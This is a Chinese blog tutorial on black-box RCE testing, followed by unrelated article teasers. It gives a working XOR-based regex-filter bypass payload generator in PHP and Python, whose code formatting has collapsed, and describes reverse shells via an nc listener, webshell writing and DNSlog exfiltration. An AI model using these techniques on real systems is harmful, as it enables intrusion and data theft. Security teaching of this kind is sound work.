黑盒RCE测试 异或测试

embedded/2024/12/25 22:03:51/

前言

了解了漏洞的原理之后就需要知道  他在哪能出现  并且被利用  这个还是很重要的

异或测试

使用异或(XOR)运算进行加密解密的原理_异或加密-CSDN博客

异或测试是在 白盒内执行的 一个例题看一下

输入什么都是会报错

这种情况就需要使用  异或计算或者或运算进行绕过 脚本:

<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

运行之后会生成一个 文件

import requests
import urllib
from sys import *
import osdef action(arg):s1 = ""s2 = ""for i in arg:f = open("res.txt", "r")while True:t = f.readline()if t == "":breakif t[0] == i:# print(i)s1 += t[2:5]s2 += t[6:9]breakf.close()output = "(\"" + s1 + "\"^\"" + s2 + "\")"return (output)while True:param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"print(param)

之后运行这个 就会出现询问

把上边这个异或计算的值拿出来直接 放到参数里

就能执行命令了

黑盒测试

RCE的黑盒出现在哪里啊?记住原理用户的输入别当做恶意代码执行   找有输入的地方但是 有输入怎么可能让你调用这个呀    那不就是相关的工具嘛  找一下(一般这类工具都是在沙盒里的)

JSLinux                       

可以查看相关的配置文件   这些配置文件就是它本身的 

弹个shell试一下  构造shell

[~]#棱角 ::Edge.Forum*

本地服务器监听  nc -lvvp 66   不就可以拿到shell了呀  但是一般的这个linux工具给你使用都会给这个命令禁   或者直接把命令文件删除

无回显问题

1、命令执行写的 网站服务器的其他的文本下边

2、带外

演示:    shell_exec 需要输出才能回显数据

1、

写个文件

写个木马 访问连接上去不就又是一个思路了嘛

2、带外

使用DNSlog  

获取ip

数据带外 (因为我只是localhost 是带不出来的 如果想带外就需要自己搭建个本地网站)


http://www.ppmy.cn/embedded/148727.html

相关文章

MFC/C++学习系列之简单记录——序列化机制

MFC/C学习系列之简单记录——序列化机制 前言简述六大机制序列化机制使用反序列化总结 前言 MFC有六大机制&#xff0c;分别是程序启动机制、窗口创建机制、动态创建机制、运行时类信息机制、消息映射机制、序列化机制。 简述六大机制 程序启动机制&#xff1a;全局的应用程序…

springboot基于Java的校园导航微信小程序的设计与实现

摘 要 相比于以前的传统手工管理方式&#xff0c;智能化的管理方式可以大幅降低学校的运营人员成本&#xff0c;实现了校园导航的标准化、制度化、程序化的管理&#xff0c;有效地防止了校园导航的随意管理&#xff0c;提高了信息的处理速度和精确度&#xff0c;能够及时、准确…

OMG DDS 规范漫谈:分布式数据交互的演进之路

一、由来与起源脉络 OMG DDS&#xff08;Object Management Group Data Distribution Service&#xff09;的发展是计算机科学和技术进步的一个缩影&#xff0c;它反映了对高效、可靠的数据共享需求的响应。DDS 的概念萌生于20世纪90年代末&#xff0c;当时分布式计算已经从理…

opencv-day2-图像预处理1

图像预处理 在计算机视觉和图像处理领域&#xff0c;图像预处理能够提高后续处理&#xff08;如特征提取、目标检测等&#xff09;的准确性和效率。 常见的图像预处理操作&#xff1a; 图像色彩空间转换 图像大小调整 图像仿射变换 图像翻转 图像裁剪 图像二值化处理 图…

基于深度学习(HyperLPR3框架)的中文车牌识别系统-0

参考链接&#xff1a;https://zhuanlan.zhihu.com/p/476193567 结合自己的一些开发经验&#xff0c;从搭建开发环境到实现各主要功能&#xff0c;一点点的撸代码&#xff0c;最终实现了整套系统。 本主题为一个完整的系列&#xff0c;会逐步完善更新后续章节。 整体思路&…

c4d动画怎么导出mp4视频,c4d动画视频格式设置

宝子们&#xff0c;今天来给大家讲讲 C4D 咋导出mp4视频的方法。通过用图文教程的形式给大家展示得明明白白的&#xff0c;让你能轻松理解和掌握&#xff0c;不管是理论基础&#xff0c;还是实际操作和技能技巧&#xff0c;都能学到&#xff0c;快速入门然后提升自己哦。 c4d动…

WebXR

HTTPS https网页才能启动VR模式&#xff0c;本地调试时配置https vite 启用 https npm install -D vitejs/plugin-basic-ssl --save vite.config.js import { defineConfig } from vite; import basicSsl from vitejs/plugin-basic-ssl;export default defineConfig({serv…

Java 后端给前端返回的long精度缺失,导致数据不一致

在Java等语言中&#xff0c;Serializable接口是用来标识一个类的对象可以被序列化&#xff0c;即可以转换为字节流以便存储或传输。然而&#xff0c;将long类型的数据转换成字符串格式进行序列化并不直接涉及实现Serializable接口。你所提到的序列化是指如何将对象转换为JSON格…